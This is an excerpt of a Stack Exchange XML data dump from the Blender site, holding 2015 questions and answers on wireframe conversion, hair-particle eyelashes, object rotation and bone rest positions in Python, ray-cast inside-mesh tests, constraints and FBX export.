  <row Id="31700" PostTypeId="2" ParentId="31695" CreationDate="2015-05-30T05:28:54.200" Score="5" Body="&lt;p&gt;Conversion to wireframe does this in essence, for every face on a Mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MRqsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wireframe conversion transforms each face into thin faces interior to  the perimeter of the face, this function has parameters that you can change to adjust the width of those faces, but by default it is rather thin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a side note: The Curve from Mesh/Text conversion tool operates best on Meshes if you remove the faces first. (X, &lt;a href=&quot;https://i.stack.imgur.com/hyDNK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;remove only faces&lt;/a&gt;). If the mesh doesn't have any Faces there is no need to convert to wire-frame (or remove doubles later on).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can set the thickness of the wireframe to 0.000, and then you'll see little dots on the edges, because it still creates faces but they are so thin they will fall below the 'remove doubles' limit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuQ2b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing doubles would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUHeB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you can &lt;em&gt;convert to Curve from Mesh/Text&lt;/em&gt;. But I doubt that is actually what you want.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you &lt;a href=&quot;https://blender.stackexchange.com/questions/9271/render-a-wireframe-with-equal-thickness-in-cycles&quot;&gt;follow the link in the first comment&lt;/a&gt; on your Question you will be able to render results like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yeXho.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversion to wire-frame isn't the way to go about rendering with face occlusion.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-05-30T14:29:23.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31701" PostTypeId="1" AcceptedAnswerId="31705" CreationDate="2015-05-30T06:26:22.853" Score="3" ViewCount="3436" Body="&lt;p&gt;Looking at the picture below, where would I need to go to make his eyelashes look like eyelashes?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cfFr4.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Pictures of the node setup would be appreciated because simply explaining confuses me sometimes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! :D&lt;/p&gt;&#xA;" OwnerUserId="14621" LastEditorUserId="14621" LastEditDate="2015-05-30T07:02:58.233" LastActivityDate="2015-05-30T08:15:27.537" Title="Eyelashes in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31702" PostTypeId="1" CreationDate="2015-05-30T07:00:48.210" Score="5" ViewCount="9094" Body="&lt;p&gt;I have more than 100 objects and I want them to point in a particular direction depending on their position. To move them to a particular position, I used:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects[&quot;&quot;].location.xyz = ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there similar command for setting the angle of rotation for an object?&lt;/strong&gt;&#xA;I am working in a crossroad with two lanes. The position of the cars are taken as input. So according to their coordinates  they are placed on the road, pointing in the direction they need to. The &lt;code&gt;track to constraint&lt;/code&gt; is not applying the correct direction to all of them. I checked my if condition. Some of the objects are getting hidden unnecessarily.&lt;/p&gt;&#xA;" OwnerUserId="14700" LastEditorUserId="599" LastEditDate="2015-06-07T06:38:37.640" LastActivityDate="2020-12-04T04:26:12.027" Title="How to set object's rotation from python?" Tags="&lt;python&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31703" PostTypeId="2" ParentId="31695" CreationDate="2015-05-30T07:07:20.510" Score="3" Body="&lt;p&gt;You could try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the cube&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to enter Edit Mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Delete&lt;/kbd&gt;, only faces&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to exit Edit Mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; should convert the mesh to curve&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think you can only convert mesh to curve, if the mesh only consists of edges and vertices, because curves basically also has only edges and vertices&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-30T07:07:20.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31704" PostTypeId="2" ParentId="31696" CreationDate="2015-05-30T07:17:45.630" Score="11" Body="&lt;p&gt;It'd be nice if this worked, however as an alternative you might consider using &lt;a href=&quot;http://blender.org/manual/render/cycles/materials/displacement.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;cycles displacement&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple example of what's possible. This scene is made up of one plane, with no displace modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZAPgQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAPgQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GlolF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GlolF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it's an experimental feature, so you'll have to enable experimental features first, and you may encounter bugs. If you do find a bug, &lt;a href=&quot;https://blender.stackexchange.com/q/1377/599&quot;&gt;report it&lt;/a&gt; and chances are it will be fixed :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/254/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=254&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-06-02T19:34:55.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31705" PostTypeId="2" ParentId="31701" CreationDate="2015-05-30T08:15:27.537" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;When you open Blender, then on the right (properties panel) you have&#xA;to click the button with stars (particle system tab) (between physics tab and textures tab)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vIs74.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then press 'new', under 'type' change from 'emitter' to 'hair'&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VXWi6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHH8n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the 'hair length' to any value you want&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IxqPk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make a new material (Materials tab)  and use the 'hair node' and play with the settings&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a3biy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;(particle systems tab) In 'children', choose 'interpolated' and play with the 'render' values, set the 'display' value low, else Blender will react slow.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2zgd6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to enter weight paint mode and paint where you want the hair&lt;/li&gt;&#xA;&lt;li&gt;Under Vertex Groups, choose under density the Group&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LcjyY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then under Cycles Hair Settings, play with the Root, Tip and scaling values&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G08qb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;And for the final touch: enter 'Particle edit' to cut, comb, add,&#xA;shrink, etc the hair. Have fun :)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8mZqE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-30T08:15:27.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31706" PostTypeId="2" ParentId="31693" CreationDate="2015-05-30T08:57:28.447" Score="13" Body="&lt;p&gt;let's look at the documentation for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Object.html?highlight=ray_cast#bpy.types.Object.ray_cast&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;object.ray_cast(start, end)&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The ray_cast function returns 3 values:  &lt;em&gt;(location, normal, index)&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;location&lt;/strong&gt;, The hit location of this ray cast, float array of 3 items in [-inf, inf]&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;normal&lt;/strong&gt;, The face normal at the ray cast hit location, float array of 3 items in [-inf, inf]&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;index&lt;/strong&gt;, The face index, -1 when no intersection is found, int in [-inf, inf]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It will return the index of the first face encountered on the path between &lt;code&gt;start&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt; Vectors.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the start vector is outside of the Object, and the face index is &lt;code&gt;-1&lt;/code&gt;, you already know the point is not inside the object.&lt;/li&gt;&#xA;&lt;li&gt;But if it does return a face index, then you start counting how many consecutive faces it intersects by doing a ray_cast from the Vector of the  most recent intersection (plus a small offset towards the destination to push it away from the most recent face) to the end point.&lt;/li&gt;&#xA;&lt;li&gt;When at some point the face index returns -1, you know there are no more faces between the &lt;em&gt;checked point&lt;/em&gt; and the &lt;em&gt;end point&lt;/em&gt;, then you add up the total number of intersections.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If that number is even, it went in and out, and is currently out.&lt;/li&gt;&#xA;&lt;li&gt;If it's odd, it's still inside.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In code that might look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def is_inside(ray_origin, ray_destination, obj):&#xA;&#xA;    # the matrix multiplations and inversions are only needed if you&#xA;    # have unapplied transforms, else they could be dropped. but it's handy&#xA;    # to have the algorithm take them into account, for generality.&#xA;    mat = obj.matrix_local.inverted()&#xA;    f = obj.ray_cast(mat * ray_origin, mat * ray_destination)&#xA;    loc, normal, face_idx = f&#xA;&#xA;    if face_idx == -1:&#xA;        return False&#xA;    &#xA;    max_expected_intersections = 1000&#xA;    fudge_distance = 0.0001&#xA;    direction = (ray_destination - loc)&#xA;    dir_len = direction.length&#xA;    amount = fudge_distance / dir_len&#xA;    &#xA;    i = 1&#xA;    while (face_idx != -1):&#xA;        &#xA;        loc = loc.lerp(direction, amount)    &#xA;        f = obj.ray_cast(mat * loc, mat * ray_destination)&#xA;        loc, normal, face_idx = f&#xA;        print(face_idx)&#xA;        if face_idx == -1:&#xA;            break&#xA;        i += 1&#xA;        if i &amp;gt; max_expected_intersections:&#xA;            break&#xA;&#xA;    return not ((i % 2) == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here a test blend using Sverchok Scripted Node with that algorithm.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YoHkh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/248/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=248&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;caveat: The fudge distance is not very nicely calculated, if might help precision to repeat the algorithm from a few randomly picked points around the object, and take the most common return value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;I just realized you can track the indices of intersected faces and adjust the fudge factor of the ray until the ray_cast no longer returns the index of a previously intersected face, letting it progress on..&lt;/p&gt;&#xA;&lt;h3&gt;Another approach&lt;/h3&gt;&#xA;&lt;p&gt;using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Object.html?highlight=closest%20point#bpy.types.Object.closest_point_on_mesh&quot; rel=&quot;noreferrer&quot;&gt;obj.closest_point_on_mesh&lt;/a&gt;. Offered by &lt;a href=&quot;https://github.com/nortikin/sverchok/issues/660#issuecomment-107022134&quot; rel=&quot;noreferrer&quot;&gt;Kosvor on sverchok issue tracker&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def is_inside(p, max_dist, obj):&#xA;    # max_dist = 1.84467e+19&#xA;    point, normal, face = obj.closest_point_on_mesh(p, max_dist)&#xA;    p2 = point-p&#xA;    v = p2.dot(normal)&#xA;    print(v)&#xA;    return not(v &amp;lt; 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this assumes all faces of the object are pointing outwards&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/249/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=249&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/muXPY.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-16T08:19:32.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31707" PostTypeId="1" AcceptedAnswerId="31709" CreationDate="2015-05-30T10:08:56.083" Score="2" ViewCount="1801" Body="&lt;p&gt;I have an armature object with a single bone.&#xA;Now I want to change the rest position for animation purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to manipulate bones I have found is via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm_object.pose.bones&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anytime I change the position of a bone I get that way, for example with &lt;code&gt;bone.rotation_euler = (0, 0, angle)&lt;/code&gt; it changes the pose but not the rest position.&lt;/p&gt;&#xA;" OwnerUserId="795" LastEditorUserId="55" LastEditDate="2015-05-31T08:42:46.297" LastActivityDate="2015-05-31T08:43:22.947" Title="How to move bones rest position from Python?" Tags="&lt;python&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31709" PostTypeId="2" ParentId="31707" CreationDate="2015-05-30T11:43:01.520" Score="3" Body="&lt;p&gt;You have to access &lt;code&gt;Armature.edit_bones&lt;/code&gt;, but they can only be accessed from EditMode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of moving all bones rest positions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This script assumes you have an active armature in 'Object Mode'&#xA;&#xA;import bpy&#xA;from bpy import context&#xA;&#xA;obj = context.object&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;for bone in obj.data.edit_bones:&#xA;    bone.head.y += 1.0&#xA;    bone.tail.y += 1.0&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: instead of manipulating the head/tail directly, it can be more convenient to use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.EditBone.html#bpy.types.EditBone.transform&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;EditBone.transform&lt;/code&gt;&lt;/a&gt; so you can use a transformation matrix to rotate/scale/translate - all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To transform the entire armature, use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Armature.html#bpy.types.Armature.transform&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Armature.transform&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-31T08:43:22.947" LastActivityDate="2015-05-31T08:43:22.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31710" PostTypeId="1" AcceptedAnswerId="34058" CreationDate="2015-05-30T11:45:00.563" Score="6" ViewCount="7029" Body="&lt;p&gt;In the &lt;em&gt;3D-View&lt;/em&gt; everything looks as&#xA; expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhcbP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when rendered the smoke domain covers the whole scene. I tried to place camera inside and outside of the smoke domain but this doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWWs3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/250/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=250&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The box is caused by my fault in the smoke domain material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rd1I0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the question should be how to reproduce the 3d-view in the rendered image.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-16T00:10:24.053" Title="How can a smoke domain be hidden from render?" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31711" PostTypeId="1" CreationDate="2015-05-30T13:28:48.967" Score="4" ViewCount="2041" Body="&lt;p&gt;I want the eyes of a character to rotate to look in the direction of a specific point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rig for the eyes of a character and I want the part of the rig that controls the eyes to be at the active camera, the rig crosses the eyes to its location and thus the character looks to that specific point. Also, I want the head rig to face the active camera. I just need to know if and how I can make the two bones snap to the active camera.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="6076" LastEditDate="2015-05-30T15:21:08.880" LastActivityDate="2015-05-30T18:39:07.987" Title="How can I make an object face or locate to the active camera?" Tags="&lt;rigging&gt;&lt;constraints&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31712" PostTypeId="1" AcceptedAnswerId="31714" CreationDate="2015-05-30T13:33:14.987" Score="5" ViewCount="161" Body="&lt;p&gt;I have a plane which I rotated up 90 degrees on &lt;em&gt;X&lt;/em&gt; and 45 degrees on &lt;em&gt;Z&lt;/em&gt;. I run this code to get the vertices world location's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;verts = [i.co * ob.matrix_world for i in ob.data.vertices]&#xA;print(verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results I should get should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-0.707, -0.707, -1&#xA;0.707, 0.707, -1&#xA;-0.707, -0.707, 1&#xA;0.707, 0.707, 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-1.41, 7.1e-15, -1.19e-7&#xA;-1.19e-7, -1.06e-7, 1.41&#xA;1.19e-7, 1.06e-7, -1.41&#xA;1.41, -4.1e-15, 1.19e-7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is going on here?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2015-05-30T13:51:50.117" Title="matrix_world not giving correct results" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31714" PostTypeId="2" ParentId="31712" CreationDate="2015-05-30T13:51:50.117" Score="7" Body="&lt;p&gt;to multiply Matrix with Vector, order is important:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v2 = matrix * vector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.html#mathutils.Vector&quot;&gt;mathutils.html#mathutils.Vector&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-30T13:51:50.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31715" PostTypeId="2" ParentId="31711" CreationDate="2015-05-30T14:16:54.940" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider a [track to] constraint which rotates the bones&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KD79D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6nFG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can track to the camera or some object like two rectangles next to each other lets call them a pair of eye trackables, similar in placement to a pair of eye glasses. Depicted above in the animation is an example. Left eye tracks left point, right eye tracks right point.  The points are eye distance apart.  At a far distance the eye trackables cause the eyes to rotate and be nearly parallel.  At a close distance the this can prevent crossed eye problem.  Some blender people might say the having a separate eye trackables is more flexible than tracking to the camera.  You can move the trackables independent of the camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider searching Blender Facial Rig Eyes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-30T18:39:07.987" LastActivityDate="2015-05-30T18:39:07.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31717" PostTypeId="2" ParentId="31689" CreationDate="2015-05-30T14:40:23.473" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider two separate bones .. one for x-axis rotation, one for y-axis rotation.&lt;/li&gt;&#xA;&lt;li&gt;Consider pose space to pose space.&lt;/li&gt;&#xA;&lt;li&gt;Consider keyframe of pose&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-30T14:40:23.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31718" PostTypeId="2" ParentId="31698" CreationDate="2015-05-30T14:48:28.720" Score="4" Body="&lt;p&gt;You may get away with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Scene.html?highlight=scene#bpy.types.Scene.frame_set&quot; rel=&quot;nofollow&quot;&gt;Scene.frame_set&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.ops.export_scene.html?highlight=export_scene#bpy.ops.export_scene.fbx&quot; rel=&quot;nofollow&quot;&gt;bpy.ops.export_scene.fbx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I.e. select your meshes and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;PATH = &quot;your_path.%03d.fbx&quot;&#xA;&#xA;for i in range(100):&#xA;    bpy.context.scene.frame_set(i)&#xA;    bpy.ops.export_scene.fbx(&#xA;        filepath=PATH % i,&#xA;        object_types={'MESH'},&#xA;        use_selection=True&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The source code of export_scene.fbx resides in &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender-addons.git/blob/83b911f409b9ddc7dbcacbe3a4e111506f26a350:/io_scene_fbx/export_fbx.py#l2833&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;scripts/addons/io_scene_fbx&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-05-30T15:21:22.513" LastActivityDate="2015-05-30T15:21:22.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31719" PostTypeId="2" ParentId="31702" CreationDate="2015-05-30T14:51:17.637" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider [track to] constraint&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ganHa.png&quot; alt=&quot;constraint panel in properties area&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QQ8eu.gif&quot; alt=&quot;constraint in action&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you have setup the constraint for one object, select the other objects, select the object with the constraint afterwards, press &lt;kbd&gt;Space&lt;/kbd&gt; in the viewport, type and choose &lt;code&gt;Copy Constraints to Selected Objects&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="2271" LastEditDate="2015-05-30T15:31:40.523" LastActivityDate="2015-05-30T15:31:40.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31720" PostTypeId="1" CreationDate="2015-05-30T15:07:31.013" Score="-2" ViewCount="251" Body="&lt;p&gt;when i go to install blender (&lt;a href=&quot;https://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/download/&lt;/a&gt;) ( scroll to the bottom) it doesn't give me and option to download for England.&lt;/p&gt;&#xA;" OwnerUserId="14704" LastEditorUserId="2271" LastEditDate="2015-05-30T15:26:14.433" LastActivityDate="2015-05-30T15:37:14.670" Title="How to download to england" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-30T16:49:47.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="31721" PostTypeId="2" ParentId="31720" CreationDate="2015-05-30T15:37:14.670" Score="5" Body="&lt;p&gt;If you carefully look while hovering the mouse, you see a text saying &quot;Choose mirror&quot;. This means that the software can be downloaded from the US and from 3 servers in europe (Netherlands and Germany) either one should be fine for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6W1e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-05-30T15:37:14.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
